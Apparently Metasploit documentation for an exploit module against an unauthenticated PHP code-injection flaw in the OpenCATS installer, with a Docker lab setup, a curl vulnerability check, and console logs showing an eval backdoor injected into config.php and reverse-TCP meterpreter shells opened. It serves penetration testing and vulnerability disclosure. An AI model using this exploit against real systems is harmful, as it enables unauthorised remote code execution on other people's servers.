documentation/modules/exploit/multi/http/opencats_installer_rce.md
This module exploits an unauthenticated PHP code injection vulnerability in the OpenCATS installer AJAX endpoint (CVE-2026-27760).
When the installation wizard has not been completed (INSTALL_BLOCK file absent), the
databaseConnectivity action passes the user POST parameter directly to
changeConfigSetting(), which interpolates it into a define() statement in config.php
without any sanitization. By breaking out of the string context with a single quote and
semicolon, arbitrary PHP code is injected into config.php. Since config.php is
included globally on every page load, the injected code executes on the next request.
The module injects an eval(base64_decode()) backdoor keyed to a random POST parameter,
probes until the injection is live (handling OPcache revalidation transparently), triggers
the payload, then restores config.php to its original state.
All OpenCATS versions through commit 46e4727 (latest release 0.9.7.4 and below).
Fixed in commit 3002a29f4c3cada1aa2c4f3d4ae4e189906606b6.
The INSTALL_BLOCK file must be absent from the webroot, meaning the installation wizard
was never completed. This file is excluded from release archives (.gitignore,
ci/package-code.sh), so any instance deployed without finishing setup is vulnerable.
git clone https://github.com/opencats/OpenCATS.git
cd OpenCATS
git checkout 46e4727
Create docker-compose.lab.yml:
services:
opencats:
image: webdevops/php-apache:7.4
ports:
- "8181:80"
volumes:
- .:/app
depends_on:
db:
condition: service_healthy
db:
image: mysql:5.7
environment:
MYSQL_DATABASE: opencats
MYSQL_USER: cats
MYSQL_PASSWORD: cats
MYSQL_ROOT_PASSWORD: root
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-ucats", "-pcats"]
interval: 5s
timeout: 5s
retries: 15
Then run:
docker compose -f docker-compose.lab.yml up -d
Important: Do NOT complete the web installer. The vulnerability requires INSTALL_BLOCK
to be absent. Verify the target is vulnerable:
curl -s "http://localhost:8181/ajax.php?f=install:ui&a=databaseConnectivity" | grep -o 'setActiveStep\|installLocked'
Expected output for a vulnerable instance: setActiveStep
The DATABASE_USER value to restore in config.php after exploitation. Defaults to cats,
which is the standard OpenCATS database username. Change this if the target uses a different
database user.
use exploit/multi/http/opencats_installer_rceset RHOSTS <target>set RPORT <port>set LHOST <attacker_ip>check - should report "appears to be vulnerable"exploit - should open a meterpreter session as the web server usermsf6 > use exploit/multi/http/opencats_installer_rce
msf6 exploit(multi/http/opencats_installer_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/opencats_installer_rce) > set RPORT 8181
RPORT => 8181
msf6 exploit(multi/http/opencats_installer_rce) > set LHOST 172.25.0.1
LHOST => 172.25.0.1
msf6 exploit(multi/http/opencats_installer_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/opencats_installer_rce) > exploit
[*] Started reverse TCP handler on 172.25.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Installer AJAX endpoint is accessible and unprotected.
[+] PHP eval backdoor injected into config.php
[*] Sending stage (45739 bytes) to 172.25.0.3
[*] Meterpreter session 1 opened (172.25.0.1:4444 -> 172.25.0.3:56324) at 2026-04-28 16:49:35 +0200
[*] Restoring config.php with user 'cats'...
[+] config.php restored.
meterpreter > getuid
Server username: application
meterpreter > sysinfo
Computer : opencats-container
OS : Linux opencats-container 6.19.9-2-cachyos #1 SMP (Linux)
Meterpreter : php/linux
msf6 exploit(multi/http/opencats_installer_rce) > set target 3
target => 3
msf6 exploit(multi/http/opencats_installer_rce) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/opencats_installer_rce) > exploit
[*] Started reverse TCP handler on 172.25.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Installer AJAX endpoint is accessible and unprotected.
[+] PHP eval backdoor injected into config.php
[*] Command Stager progress - 100.00% done (807/807 bytes)
[*] Sending stage (3090404 bytes) to 172.25.0.3
[*] Meterpreter session 1 opened (172.25.0.1:4444 -> 172.25.0.3:33438) at 2026-04-28 16:51:24 +0200
[*] Restoring config.php with user 'cats'...
[+] config.php restored.
meterpreter > getuid
Server username: application